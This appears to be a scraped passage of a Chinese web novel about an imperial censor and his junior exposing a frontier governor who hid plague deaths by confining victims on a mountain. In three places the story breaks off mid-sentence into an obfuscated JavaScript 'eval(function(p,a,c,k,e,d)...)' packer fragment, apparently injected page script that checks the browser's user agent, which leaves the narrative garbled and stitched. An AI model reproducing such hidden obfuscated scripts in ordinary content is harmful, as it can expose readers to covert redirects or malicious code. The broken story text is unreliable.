月光下,但见杂草丛中,白骨森森,腐肉散发着恶臭,有几具尸体约莫扔进去的时间不长,身无寸缕,尸身完整,干瘪瘪的只有一副骨架,其状惨不忍睹。 整座山被看守得固若金汤,连野狗都上不来,故尸体便如此随便地暴露着,任凭风吹日晒,腐肉化泥。 这些尸体从何而来?又是何人?为何就这么裸露着风吹日晒?青绿朝远处的灯光看了一眼,陷入沉思:这山上到底藏着多少不可告人的秘密。 她感觉事态严重,决定先回去一趟,向管胖子汇报再做决定。 天将破晓,青绿和阿四带着崩牙仔回到域庄,青绿先将崩牙仔安置到阿四房内,说去给他取银子,便与阿四进了管胖子的住房。 管胖子借着微弱天光看了青绿好一会,如释重负,脸上露出欣慰笑容:“还好,全须全尾。”因问,“上山了?情况如何?“ 青绿点头,接过阿四递过来的一杯水一饮而尽,对管胖子大略说了昨日如何上山以及在山上看到的情况。 管胖子也觉着有些扑朔迷离,抚摸着下巴,下了决心道:“丫头你还要再上一次山,仔细查看山上都有一些什么人,都在做些什么事,范瑶瑶与你同去,她的身形与你相差无已,负责掩护。” 青绿点头:“遵命。” 翌日夜里,青绿和范瑶瑶一上山,便摸到卒舍前,却见十几名举着火把的扈从,正虎视眈眈地围着四五十名坐在地上的男女老少。 这群人衣衫褴褛,头发胡子凌乱不堪,满脸菜色,与野人相差无异,其中一名孩童,瘦得像一具骷髅,脸上只剩一双大得可怕的眼睛。 众人七嘴八舌地苦苦哀求: “官爷,求您发发慈悲,让我带孩子下山看大夫吧,他快不行了。” “我娘只剩下一口气了,她想叶落归根,死在家里,葬进祖坟。” 一名青年男子站起来忿忿道:“我们在这鬼地方将近三年,连个矿脉都摸不着,到底想把我们圈到何时?我们不干了,之前的工钱也不要了,让我们下山。” 众人跟着鼓噪:“放我们下山。” 先前青绿见过的那名郡丞,沉着脸举着长鞭朝青年汉子一甩,鞭梢绕着他的脖子卷了几圈,再用力朝前一扯,青年汉子被鞭子勒得直翻白眼,细长的脖子几乎被勒断。 郡丞面色阴冷地对众人道:“本官已经说过,最迟年底便让大家回家,现离年底不足五个月,能忍便忍,有想死的本官也不拦着。” 众人议论声又起:“我等忍得,老弱病残却等不得。” 郡丞对扈从挥了挥手,冷冷道:“轰散,不愿走的,拖到后山砍了。”言罢头也不回地进了卒舍。 扈从们持刀剑朝众人围拢过去。 众人吓得扶老携幼四散离去。 青绿从地上抓了一把土抹在自己脸上,尾随在一名中年妇人身后,侍机与她搭讪:“婶,看你面熟,可是前街开丝绸铺子的李家?” 妇人看她一眼,纠正道:“小兄弟你认错人了,我家是七星巷卖麻花油馓子的姬家。” 青绿迅速在脑子里搜索了一遍,她看文字过目不忘,死亡人员的名字旁均标有职业及住址,而契合妇人所说条件的,确有一名姬姓人员出现在今年的死亡名单上,因带着试探的口吻问:“当家的可是姬礼和?” 妇人十分意外:“正是。小兄弟也住在七里街?” 青绿掩饰道:“并不是,你家的麻花油馓子特好吃,金黄酥脆。” 女人脸上现出一抹微笑。 青绿又问:“婶是哪年上山的?” 妇人道:“前年当家的病逝,官府便对我们说上山采玉三年,管吃管住,采出玉来还有奖赏。也不管我们点不点头,举家便被赶到了山上。” 青绿默然:姬礼和前年死亡,名字却出现在今年上报的名单上。 因点头道:“我家亦是如此。”想起姬家有一个独子,“姬哥呢?还好吧?” 妇人啜泣道:“上山后,我儿每日去挖矿,活倒也不算累,只是这里的生活实在是苦,吃的全靠官府配给,他饿得实在受不了,去半山腰搂野兔,被黑了心的扈从逮住打伤,无药医治,走了。” 青绿陪着抹了一会泪,突然问:“姬伯是得了疫病走的吧,我爹也是。”除了战争及天灾,只有疫病才会死这么多人。 妇人吓得一把捂住她的嘴:“这话可不许在外头说,被扈从听见要掉脑袋的。” 青绿满脸困惑:“我就不明白,为何官府不让说是疫病?给我爹诊疗的大夫说是疫病。” 妇人摇摇头:“不知啊,这的人都是前年因为家里死人才来的,官府说不是疫病,只是风寒而已。” 青绿心情十分沉重,显然,山上的人都是前年得了疫病的人及其眷属。 管胖子静静听着青绿汇报她再次上山摸到的情况,心下了然。因道:“这样便很清楚了,武威郡,准确说是姑藏县前年发生疫情,死亡人数超过朝廷底线,于是武威郡分三年上报死亡人员。” 默了默,又道:“将所有疫病人连同眷属全部赶到山上,一是容易封口;二是隔离阻断疫病蔓延;三是上头一旦有人来查,确实是在挖矿,便算有人提起,也不疑有它。好一个障眼法。” 青绿焦急道:“得尽快解救他们,山上缺医少药,食物严重不足。郡府不怕人死得太多,明年上计不好交差么?” 管胖子冷冷道:“一群草菅人命的昏官,何时在意过百姓死活,轻飘飘一句‘自然死亡’便能带过。只要死亡人数不是太离谱,到明年上计之时,县令早已稳坐京中官椅。” 管胖子对阿四道:“你与范瑶瑶携带虎符及我的手书,速到休屠县的北部都尉府调八百兵马去密尔台山。现在是卯时,未时应该能够到达。” 侍御史出巡,有皇帝授予的虎符,可随时调动兵马。北部都尉在武威郡北部的休屠县设治所,因是边郡,并不受武威太守节制,有相对独立的军权,故管胖子从都尉府调兵,不会惊动太守府。 阿四领命而去。 青绿见没自己什么事,回房补了一觉,夕阳西下,神清气爽地出现在正与掌柜娘子打情骂俏的管胖子面前。 管胖子拍拍掌柜娘子绵软的胖手,挤眉弄眼道:“爷去街上寻个宝藏小店,投喂些特色美食。” 出了院门,青绿悄声道:“不去太守府么?”她担心太守听到风声开溜。 管胖子道:“等阿四那边先行动,人证物证摆到太守的面前,省得他废话。” 青绿点头表示赞同,虽说方式有些粗暴,但管用。 姑藏县城只有一条东西向大街,二人闲逛到街东头,看见一条向南伸的小巷,巷子里有一个小酒馆,挂在门口的酒幡因年代久远已被风吹裂。 管胖子道:“深巷老馆,酒好,便这家。” 酒馆十分冷清,只有一名老者及一名白胖小团子。 梳着一根朝天辩的小团子在玩着九连环,一见有人进来,推了一下打瞌睡的爷爷,自己迎上来奶声奶气地问:“请问客官要吃什么酒?本店只卖一杯酒。” 青绿疑惑地看着唇红齿白的稚童:“可我们有俩人,一杯酒怎么吃?” 团子一张白生生小脸腾起两片红云,撅着小嘴道:“不是只有一杯酒,是只卖一杯酒。” 青绿两手一摊:“这不一回事么?” “不是,是我家祖传的一杯酒。”团子急得泪眼汪汪。 管胖子在旁呵呵直乐。 老者拎了一壶酒,拿了两只酒盅过来摆在四方桌上,裂着只剩两颗门牙的嘴笑道:“劝君更尽一杯酒,西出阳关无故人。一杯酒是酒名,传到我已是第三代。客官要什么佐酒的料?早起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老者低头,语气甚为酸楚:“我只有一根独苗,前年走了,留下孙子小松鼠。如今周围都是些新住户,也许喝不惯一杯烈酒,又或许是嫌我老人家嘴碎,来得不多。” 小松鼠认真道:“爷爷你就是嘴碎,官府的人都警告了好几次,谁还敢上咱家喝酒?” 青绿笑道:“小松鼠操心的事可真不少。” 老者语气里满满的疼爱:“我家娃都这德性,我儿子在世时常与我叨叨,说他这辈子的念想便是当个富二代,常勉励我要努力酿酒,卖酒,赚钱。” 青绿失笑。 管胖子饶有兴致地问:“老街坊为何都搬走了?” 老者忿忿道:“说是采玉去了。我看这事透着玄乎,采玉怎会带家眷?便带,也该是男人先过去安顿好再回来接人。” 管胖子压低声音道:“问一句不该问的话,令郎是怎么死的?” 老者神情黯然:“吃错药。” 门外突然传来一名女子的叫骂声。 小松鼠一下从凳子上蹦下来跑了出去。 青绿最爱凑热闹的,见管胖子与老者推杯换盏,便也跟在小松鼠身后走了出去 便见一名披头散发的妇人,用头狠命地撞着一名壮汉的前胸,边撞边哭骂:“等着你拿钱回来治病,人回来了钱却没有,还不如不回。老娘就不明白了,好好的在西域都护府当了几年戍卒,军饷却一年比一年少,如今索性几个月一个子儿都没捎回来,你让全家都喝西北风么?” 壮汉无奈地辩解:“你当我不想领军饷?实在是都护府没有发银子,当官的说缓一缓,年底一并发放。” 妇人呸了他一口:“我呸,都护府能昧了当兵的银子?八成是你在外养了小娘,是你说西域的小娘子带异域风情。”说着突然伸手啪地一下给了汉子一记耳光。 壮汉怒极,一把抓住女子的头发拖着朝小巷南面走去:“你个疯婆娘,我若有银子,能不救自己的儿子?” 妇人爆发出声嘶力竭的哭声。 青绿摇头:西北女子,彪悍。 一阵急促的奔跑声从身后传来,青绿回头看去,一名八九岁的少年从巷子北头飞一般跑过来,一头撞在小松鼠身上,然后倒在小松鼠身旁。 小松鼠跌坐在地,咧嘴大哭,才哭了一声,便像是被什么吓着了,张着小嘴,双眼直愣愣地看着地上的少年 青绿顺着他的目光看去,吓得冲过去一把将小松鼠抱在怀里:“别看。” 24. 第二十四章 真相 青绿看见那名倒在地上的少年,用力挣扎喘息着,脸白如纸,七窍流血,双眸死死盯着自己,嘴在一张一合。 她强压惊慌,向少年侧了侧身子。 少年气若游丝地吐出几个音节。 青绿听不大清楚,似乎是“救救我……不想……生病”,忽见他脸上咕嘟咕嘟朝外冒的鲜血突然变成了黑色,然后头一歪,断气了。 青绿忙抱起小松鼠闪到一旁的廊下,怕被染上不明疫病。 却有两名看穿着明显是异域人的男子飞奔而来,随后便发生了惊悚的一幕:一名男子撸起少年的袖子,干净利索地砍下他的右手,放进背在身后的背包;另一名男子拿一块麻布包裹着少年尸体,麻利塞进一只大麻袋,扛着向南面跑去,一下便没了踪影。 青绿看得毛骨悚然:都是些什么人啊?拥着小松鼠进了酒馆。 管胖子看看一脸哭相的小松鼠,以眼神询问青绿:怎么回事? 青绿倒了一口酒吃下,压了压惊道:“两口子吵架,妇人骂男人不给家里捎银子,男人说西域都护府没有发放。” 说到西域都护府,她顿了顿:二哥便是西域都护府的副教尉,有机会提醒他一下。 管胖子皱了皱眉,若有所思。 青绿看着惊魂未定的小松鼠,眼前闪过少年脸上的黑血以及缺了手掌的右胳膊,打了一个冷颤,悄声道:“小松鼠被一名突然出现的少年撞了一下,那名少年死了又被带走了。” 管胖子警觉道:“走,出去再说。”起身招呼老者,“老爷子,结账。” 一队衙吏突然涌了进来,为首的笨头笨脑的大汉上前狠狠踢了老者一脚,喝道:“又在瞎咧咧,我看你这老不死的是活腻味了。” 老者躬身作揖:“商贼捕掾,贱民不敢。” 姓商的贼捕掾上下打量了管胖子一眼:“就你这身肥肉,一看便是匈奴人的谍子。”趾高气扬地对随从下令,“绑去太守府。” 青绿拿眼瞪他:“你这是什么话?域庄娘子也胖,你怎么不去绑她?”心里认定是风骚掌柜娘子乱嚼舌根。 贼捕掾斜睨她一眼:“我说谁是谁就是,不服啊?” 青绿道:“好大的官威。” 心想:这些个衙门小绿豆官,在普通百姓面前抖抖威风能威震八面,唉,这就是为何从来学而优则仕的原因。 管胖子瞪了青绿一眼,对贼捕掾沉声道:“我们随你去太守府便是,别为难这祖孙俩,这事与酒馆无关。” 贼捕掾鼻子不是鼻子脸不是脸地冷眼瞧着管胖子:“这老小不去如何有人证?都给我绑了押回去。” 路人看见衙吏从酒馆里押出男女老少四人,不禁好奇地跟了上来,大街上人多,看热闹不嫌事大,滚雪球似地聚拢过来,到了太守府公堂,竟聚了一二百人。 四人被绑着押到大堂,青绿与爷孙俩被绑得松些,管胖子被绑得结结实实,一身肥肉勒出了粽子的形状。 也不知管胖子在想什么,一双小眼睛在不停转动。 有管胖子在,青绿倒也不觉着害怕,只是有些好奇,想着一会的升堂会是怎样一种情景,兰台审案也是这样的吧。 正东张西望间,便见一名相貌极其普通,身形消瘦,打扮儒雅的五十出头的汉子大踏步走了进来,大袖一摆,神情肃穆地吐出二字:“升堂。” 青绿看着他在堂上的交椅上落座,心道:你便是太守耶律明珠啊,如不是坐在这个位置上,还以为是私塾教书的夫子。 惊堂木拍过后,耶律明珠居高临下看着下面脆着的四人,目光定格在管胖子脸上,威严道:“堂下何人?所犯何事?” 管胖子冷声道:“在下管仲舒,并未犯事,在酒馆吃了几口小酒,便被绑至此处。” 围观众人顿时议论起来:不犯事抓你们做甚?怎的不抓我等? 耶律明珠似乎觉着“管仲舒”三字有些耳熟,认真审视了管胖子一番,又不以为然地收回目光,转头问贼捕掾:“说说他们犯了何事?” 贼捕掾指着管胖子和青绿道:“我们跟了一路,此二人鬼鬼祟祟到处打听采矿事。郡府有过公告,凡谈及采矿的,一律先逮捕后审讯。”抓了抓大脑门,“另据线报,这胖子十分关心郡县两府官员行为,在下怀疑二人是匈奴谍子,与老不死的在一杯酒馆接头,故连他孙子一并逮了。” 老者叩头高呼:“贱民冤枉啊。” 青绿险些没被气成气胸:堂堂太守府,便由得手下一群草包草率抓人? 待要冲冠一怒,却看见管胖子朝她摇摇头,只得敛了脸上的怒气。 耶律明珠看向青绿,招手让她近前,阴着脸问:“姑娘,可有此事?” 青绿看他脸上不可一世的样子,气便不打一处来,有心耍他,因扑闪着大眼睛装傻:“匈奴的碟子是何器物?能装点心么?” 引得围观众人一阵轰笑。 耶律明珠扬起惊堂木,狠狠拍在桌上:“大胆刁民。” 青绿被惊得小脸扭曲,心里狠狠道:狗官,敢拍惊堂木吓本姑娘,你等着,必回敬你三拍。 耶律明珠大概十分满意惊堂木的效果,待众人目光又一次聚焦在自己身上,恢复了儒雅神态,凑近青绿的小脸阴恻恻道:“上刑,看你能撑至何时?” 旁观众人七嘴八舌劝青绿:“姑娘,刑具忒吓人,迟早都得招,不如早招了,不用受苦。” 青绿方才空腹喝酒,现仍觉得有些飘飘然,根本不怕耶律明珠的威胁,继续装傻:“让我招甚?招我偷吃了两口酒?莫非太守大人想捡尸不成?” 两名狱吏将拶刑刑具摆在青绿面前,作势要夹她的手指。 青绿身子朝后一缩,一脸惊惧地看向管胖子。心道:你个死胖子还不出手,真想看本姑娘受刑么? 耶律明珠微笑道:“姑娘是个聪明人,招了吧,你们是何处来的?来姑藏做甚?为何要打探采玉事?” 青绿腹诽:现在才想起问我们是从哪来的,审案不是应该先搞清楚被审对象的来龙去脉么?连基本程序都不对,差评。看一眼管胖子,不知该不该回答耶律明珠的问题。 管胖子皮笑肉不笑慢悠悠地开口道:“招个屁,招女婿啊?招。” 耶律明珠脸色一变,瞬间便要发怒。 管胖子不冷不热道:“让贼捕掾将我的包袱拿来,方才被他收走了,里头有我孝敬太守爷的物件。” 旁观众人中大声道:“我们太守爷是有名的廉官,轻易能被你收买?” 有人在旁窃窃私语:“一百两银子买不动,一千两买不动,一万两呢?可就难说喽。” 便都抻长了脖子,眼珠子盯着贼捕掾的一举一动。 青绿也很好奇,管胖子一路上都亲自背着这宝贝,从不示人,不知里头装啥,也跟着探头去看。 耶律明珠不动声色,一副由着管胖子表演的神态,眼睛却不时瞟一眼贼捕掾。 贼捕掾颇为费劲地打开包袱,从中取出一件绣工精美的大红缎褂,看了看,颇为不解,转头看向耶律明珠。 耶律明珠目光投向管胖子。 管胖子城府极深地朝缎褂抬了抬下巴。 耶律明珠的视线落回缎褂上,从下而上认真地审视了一番,最后目光死死盯在衣领上,待看清上面明黄色丝线压着的云纹图样时,悚然一惊,起身从堂上下来走到管胖子身旁,满脸狐疑地问:“你是何人?为何有此绣服?” 管胖子未曾开口,贼捕掾成功抢答:“盗来的呗。” 耶律明珠半信半疑,命令道:“看看,包袱里头还有何物?” 贼捕掾又从包袱内搜出一根顶上缀着旄牛尾折叠成三折的竹竿,高举着大喊:“太守大人,这里还有一根竹竿。”一边说一边打开折叠竿朝地上一杵,竹竿比他高出一个头,竿顶上的旄牛尾一晃一晃地十分扎眼。 耶律明珠的脸色随着贼捕掾打开折叠的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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耶律明珠忙道:“这个简单,管绣衣要看何物要见何人,我即刻便传。” 管胖子道:“看今年武威郡上计的簿册,会府上管上计的上计掾。” 耶律明珠脸色一凛,随即露出难色:“计簿在库房,由上计掾管着,不巧,昨日上计掾回乡探望老父,突患急症,一时半会回不来了,您看……” 管胖子神态玩味道:“死了张屠夫,便吃带毛猪不成?人来不了,计簿便取不出来么?还是说上计掾早知自己要死,带回去陪葬了?” 耶律明珠很是难堪,但看管胖子脸色,并不见喜怒,又见他穿着官服仍没个正形,心里一动:此等脑满肠肥的饕餮,不搜括民脂民膏如何养成? 因又抱了一线希望,试探道:“管绣衣,不瞒您说,计簿出了些纰漏,请您高抬贵手网开一面。”默了默,直截了当,“武威郡虽为边郡,却也不缺珍宝,年初我还捎了几块罕见的千年寒玉进京,那玩艺进贡也拿得出手,管绣衣若有需要,好说。” 管胖子脸上骤然变色,大红袖袍一拂,冷笑道:“太守大人是要公开行贿么?免谈。” 耶律明珠的脸瞬间像熟透的螃蟹,涨得通红,恨不得找个地缝钻进去,目光躲闪道:“不是,唔,不是……”不是什么,终究也没说明白。 青绿嚼着茶点,心里好生得意:师兄威武,穿大红绣褂的师兄更威武。何时自己也搞这么一身,披着四处走走才好。 却见耶律明珠脸上红色渐渐褪去之时,双拳也在慢慢握紧,眼神逐渐变得狠厉。 青绿一惊,他想做甚?杀人灭口么?在太守府解决他们二人不难,且姑藏山高皇帝远,恐怕死成干尸了,死讯还未必能传到京师;转念一想,郡丞领兵在密尔台山,留在太守府的府兵应该不多,太守不会轻易动手。 事实上是青绿想少了,她低估了太守府的实力,太守府可配八百名府兵,边郡可放宽到一千名,密尔台山上的府兵充其量不过四五十名,若耶律明珠起了杀心,二人连想都不要想能逃出去。 青绿紧张看向管胖子,管胖子却好整以暇地自顾喝茶。 25. 第二十五章 打脸 就在青绿不露痕迹地关注着耶律明珠脸上阴晴不定的细微表情,偷窥他双手握握张张之际,一名府兵突然跑了进来。 府兵顾不得有外人在场,递给耶律明珠一个小纸条,一脸惊慌道:“太守大人,密尔台山飞鸽传信,北部都尉领兵接管了山上的一切。” 耶律明珠怒喝:“胡说八道什么?滚出去。” 府兵慌乱行礼退出。 耶律明珠颤抖着双手展开纸条,刹那间脸色煞白,嘴角抽搐,喃喃道:“怎么可能?”目光缓缓看向管胖子。 没有什么不可能,绣衣侍御史管仲舒,能调动北部都尉。 他抖动着嘴唇道:“你是有备而来。” 青绿一直揪着的心,终于放了下来。 耶律明珠长叹一声,跌坐在太师椅上,头垂到胸前,如同一条被抽了筋的赖皮狗。 他妻妾成群,但命中无子,于连生是他八竿子才打得着的远房亲戚的儿子,好学上进,他认作干儿子,当亲儿子培养,呕心呖血为他规划前程。 于连生很争气,从县衙小吏做到了姑藏县令,一路顺风顺水,直至前年突然全县大规模发生了时疫,因为处置不当,死了近二千人。好在于连生反应过来后,马上采取有效措施封锁了消息。 一个边郡小县,一年之中有大量人员死亡,一旦上报朝廷,势必终结于连生的官场生涯。 因朝廷只看郡府上报的综合数据,于是,耶律明珠与于连生煞费苦心想出了这个办法,将死亡人员分三年上计,这样便不会引起朝廷注意。 隐瞒不报的严重后果耶律明珠非常清楚,但他不能眼睁睁看着在仕途上勠力攀爬的于连生,因为区区几个平民的死亡而停滞不前,特别是面对于连生的娘子泪盈于睫的苦苦哀求,怎能忍心置之不理。 三年,只要过了三年,武威郡人口总数持平便能过关。 眼看三年来半夜都怕鬼敲门的日子即将熬到头时,却鬼使神差来了个兰台绣衣侍御史管仲舒,郡府治下的贼捕掾还上演了一出酒馆捉谍的戏码,这下完了。 他突然愤恨于连生,恨自己被他连累,半生功名,便这么毁了。 耶律明珠从椅子上滑落下来,跪爬到管胖子脚下,抱着管胖子的大腿,老泪纵横道:“老夫兢兢业业半辈子,也是一时糊涂,还望管绣衣网开一面,在陛下面前替老夫开脱啊。” 他的目光投向青绿,哀哀欲绝道:“凡主薄,老夫在边郡主政多年,没有功劳也有苦劳,求主薄姑娘替老夫说句公道话。”身上全没了半点儒雅气息。 青绿眼前闪过密尔台山上种种惨绝人寰的画面,一时怒从心生,站起身指着他怒斥道:“欺上瞒下的昏官,为了隐瞒真相,你们将无辜百姓驱赶上山,使得饿殍横尸,幸存者也几近野人。”音量陡然升高,“你们眼中唯有仕途晋升,可曾想过冤死的百姓如何瞑目?” 耶律明珠脸色一片灰白。 管胖子面无表情地将大腿从耶律明珠手上拔了出来,冷哼道:“哼,早知如此,何必当初,都是些不见棺材不掉泪的货色。” 一脸颓废的耶律明珠突然抬头,弱弱地问:“几年都平安过去了,为何,为何只差这么几个月却翻车了?” 管胖子朝青绿努努嘴:“问这丫头。” 青绿既得意又极不厚道地笑了,想了想,做人不能食言,拿起桌上的一块紫檀木镇纸,啪啪啪用尽全力在桌上连拍了三下,然后看也不看双手后撑倒在地上目眦尽裂的耶律明珠,小脸上带着鄙睨一切的神态,昂首挺胸走出书房。 离开姑藏前,青绿让阿四特意拐到一杯酒馆,将车停在酒馆门前。 据说山上幸存的老街坊相约在此庆贺新生,新邻里听说有一位能让太守爷下跪的大官,在这家酒馆喝了一杯酒后连称好酒,便都上门一品为快,故酒馆一位难求。 仅剩两颗门牙的瘪嘴老者在乐呵呵地招呼着络绎不绝的客人,唇红齿白的小松鼠上蹿下跳帮着上酒。 青绿并未下车,静静看了一会,对阿四道:“阿四哥,走吧。” 却见小松鼠突然跑了出来,怔怔地看着马车,怅然若失。 马车渐行渐远,小松鼠渐渐变成了小豆丁,青绿心中不舍,但更多的是欣慰。 马车里,青绿收回目光,长吁了一口气,问管胖子:“师兄,回程不用躲躲闪闪了吧,大可穿上你这身绣衣招摇撞骗混吃混喝,也让我等庶民感受一下迎来送往的排场。” 管胖子小眼一瞪:“谁说要回去了?” 青绿惊讶:“啊,不回去?”忙掀帘子看向车外,良久,回头难以置信地看着管胖子,“继续往西走?” 心里却涌上一丝焦虑,不知道钟离梨是否找着了那个嬷嬷,她不大能确定提供给梨子的线索是否准确,但不管找不找得着,自己不在场都会耽误事。 管胖子闲适地看着她,嘿嘿笑道:“怎的?赶着回去嫁人?便算你火急火燎赶得回去,一时半会也找不着怨大头。” 见青绿情绪不佳,似有心事,便收起了嬉皮笑脸,正色道:“之前兰台便收到西域都护府苛扣军饷的举报,师傅有意查清这件事。在姑藏听到的也不少,域庄的掌柜娘子也在唠叨其在西域都护府当戍卒的儿子被拖欠军饷。” 青绿眼前闪过一对男女争吵的情景以及男子“我若有银子,能不救自己的儿子”的无力辩解,因点头笑道:“我没事,上哪都一样。但西域没有碟子么?军队的监军御史呢,都是摆设?”言下之意,为毛何事都得你管大人亲自出马。 管胖子道:“兰台飞蝶网是师傅亲手创建的,时间不长,并没有在天下铺开,西域就没有布下谍子,至于监军御史,每年年底才回去向御史府述职。” 青绿点头:“明白了,那就跑一趟呗。”脸上一秒切换笑容,“可以见到二哥了。” 凡府次子凡非凡十四岁从军,才及冠便已位居副校尉,在整个西域,除了镇西将军,秩级仅次于都护府都护。 青绿眼前浮现出儿时懒着不想走路,挂在二哥的胳膊上晃荡晃荡的情景,不由嘴角勾起,现出唇边两个小小梨窝。 管胖子适时给她当头浇了一盆凉水:“丫头,是暗办,暗办懂么?特别是你二哥,作为都护府副校尉,很难说不参与其中,你更不能与他见面。” 青绿一秒变脸,瞪圆了眸子,如果能眼刃管胖子她绝不心软:“我二哥绝对不会参与。” “话别说得太满。” “我二哥单身狗一个,自己的俸禄都用不完,要那黑心银子做甚?又不养三房四妾的。”她口不择言,待感觉到内涵,忙补充,“不是说你哦。” 唉,除了内涵,还有此地无银三百两。 管胖子大度地笑笑 青绿尴尬,搜肠刮肚地转移话题:“师兄,西北这边有人死了砍下手掌的风俗么?” 管胖子莫名其妙:“没听说过。” 青绿将那日在酒馆门前看到的情况说了一遍,心有余悸道:“若不是风俗,那便是什么帮派的规矩了,也太残忍了。”思索片刻,“那句‘救救我,不想生病’又是何意?难道他们得了什么病要被砍下手掌?” 管胖子问:“两名男子是何方人氏?” “不像中原人,穿圆领长袍,束腰带,对了,鼻子上带一个金色的鼻环” “西域人。”管胖子闭目陷入沉思。 “师兄,耶律明珠和于连生会被如何处置?”青绿打破沉默。 “这个案子很简单,没有牵涉更多的人和事,故耶律明珠由北部都尉押送进京,他是郡守,陛下会亲自讯问。于连生押在当地等候发落。耶律明珠为政还算勤勉,于连生任上也为百姓做了几件实事,大概率是摘了二人的乌纱帽,罚没家产,解甲归田吧。”管胖子道。 青绿眉头紧皱:“这也太轻了吧,那些在山上饿死病死的人就白死了么?” “毕竟不是他们亲手杀死的,赶往山上圈禁也可以看作是隔离疫情的手段,否则疫病扩散会死得更多。” 青绿气咻咻道:“这都不叫杀人?身为父母官却草菅人命,还不叫杀人?”顿了顿,“哼,那位凉州刺史呢,怎么处置?” “凉州刺史没有监管到位,由师傅最后定夺,应是迁谪吧。” 青绿有些意难平,心有不甘道:“不是说陛下对考课极为重视么?在上计中弄虚作假等同于欺君,砍了二人的脑袋也不为过。” 管胖子像看智障一般瞥了她一眼:“办案的时候还挺聪明的,这会却像个傻子,你还不了解官场的复杂,以后会明白的。” 青绿沾沾自喜,得意地对管胖子道:“看来办案也不难么,我好像摸着了监察的门槛,就是发现线索,然后明察暗访,再然后顺藤摸瓜,最后惩恶除弊。” 管胖子嘴一撇:“皮毛而已,勉强算得上入门。这才是开头的查案,后头还有审案、定案、举一反三。你当兰台那么多的人是摆设呢,有你学的时候。” 青绿脸上满满的艳羡:“师兄,何时我能如你一般,做个绣衣侍御史?” 管胖子皮笑肉也笑道:“等你长出我这身肥膘之日。” 青绿嗤了一声:“切,德性。”头扭到窗外。 良久,忍不住回头笑道:“想想在兰台干监察也挺有意思的,师兄昨日那身大红绣褂一亮相,耶律明珠被啪啪打脸的模样,真爽。” 青绿这边得意地说着打脸的快感,孰不知远在京城山尚学宫的刘哲,却在为一记耳光窘迫。 便在方才,“啪”地一声脆响,刘哲眼睁睁看着花师娘的右脸挨了女儿百里朵朵的便宜师傅薛姝的一巴掌,这一掌力道够恨,花师娘的右半边脸瞬时变成了紫绛色,看起来两边脸倒是一样的颜色,不违和了。 然后是花师娘难以置信的瞬间石化的表情。 便见薛姝一脸正气对花师娘道:“你有病,是心病,没人能治。”缓了缓,一字一句道,“不想打你都不行,不给你一巴掌,你还在自取其辱。没人觉得你丑,只有你自己觉得丑才是真的丑,也没谁瞧不起你,只有自己瞧不起自己,旁人才会瞧不起你。” 她轻轻甩了甩手掌:“人必自辱而后人辱之。” 这一切来得如此突然,院里的空气瞬间紧张到了极点,所有人,刘哲、百里冰、朵朵及隐在隔墙后的吴娇的目光全都落在花师娘身上,等着她暴发。 孰料花师娘一言不发,双手捂脸跌跌撞撞地奔进卧室,反手插上了门栓。 刘哲一脸忐忑地看向师傅百里冰,他万万没想到,因为薛姝救了朵朵顺带送她回家,却生出这档子事来。 今日刘哲到山尚学宫东北面的礼尚街购衣物,朵朵一定要跟他到街上看热闹,等刘哲选购了合适的衣裳,回头却见朵朵站在一间装点得花红柳绿的拱形门楼前,好奇地看着里面的七彩灯笼。 刘哲一看门首站着的脸色惨绿的小相公,那是青楼标配,不敢靠近,便站在街对面喊:“朵朵,走了。” 朵朵闻声高兴地朝刘哲跑去。 刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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朵朵的脚踝淤青一片,肿得老高,薛姝用手一捏,朵朵抽了一口冷气。 刘哲看向薛姝:“脚踝脱臼?” 薛姝点头,双手握住朵朵的脚踝,趁她不注意,突然发力,咔地一下把脱臼的关节给接上了,其速度之快,朵朵连哭都来不及。 薛姝对刘哲道:“朵朵暂时不能走路,我送她回去吧。” 刘哲很感激薛姝想得周到,忙点头道:“多谢薛姑娘。” 周雁秋挤进来对薛姝道:“坐我的马车,我送你们回去。”恳切之态与方才判若两人。 刘哲这才注意看他,身材高佻匀称,脸颊左侧一缕秀发遮住小半张脸,微风一吹,裸露出光洁的前额及斜飞的剑眉,双眼一大一小,头上镂空雕花红翡冠束着黑发,酷而不失风流,但腰间明晃晃的铜鎏金带钩,却显出暴发户的俗态来。 薛姝显然不买大小眼公子哥的账,皱了皱眉道:“朵朵若有个好歹,再找你算账。” 周雁秋忙不迭道:“荣幸之至。” 薛姝打了一声唿哨,一匹白马嘶鸣着朝她奔了过来,众人纷纷让开一条道。 薛姝将朵朵放上马背,自己翻身上马,对刘哲道:“在门口等你。”打马扬长而去。 白马、银抢、红衣,好不英姿飒爽,刘哲佩服得紧,迈开大长腿大踏步跟上,临行前忍不住回头看了一眼,周雁秋独自在风中凌乱。 路不远,刘哲到了百里家门口,正好看到薛姝将朵朵从马背上抱下来,便问朵朵:“能走么?” 薛姝道:“最好不要走,我送她进去吧。” 刘哲眼角余光看到隔墙有人探出半边身子,知道是吴娇,赶紧垂眸,视线转向朵朵,他不大理解这个姑娘为何时常爬墙头偷窥。 朵朵贴着薛姝耳边期期艾艾道:“师傅,我娘生我时脸上落下瘢痕,她心里难受便会骂人,您千万别计较,嗯,只当她病还没好。” 薛姝不以为然地点点头:“妇人烦闷发几句牢骚很正常,师傅怎会计较。” 刘哲抢前一步进门,想去知会花师娘一声,担心花师娘给薛姝难堪。 他一进门,便被坐在院内树荫下的花师娘砍了一身的眼刀子。 花师娘阴阳怪气对刘哲道:“怪道我说隔壁那狐媚子这段时日爬墙头爬得忒勤快,原来是你这才打鸣的小公鸡勾引的,今日可好,又勾来一个,艳福不浅啊。” 朵朵挣扎下地,一拐一拐走过去拉着她的手道:“娘,是这位薛姐姐救了我。” 花师娘手一甩,看也不看女儿一眼,将脚旁的椅子踢到院中央,一屁股坐了下来。 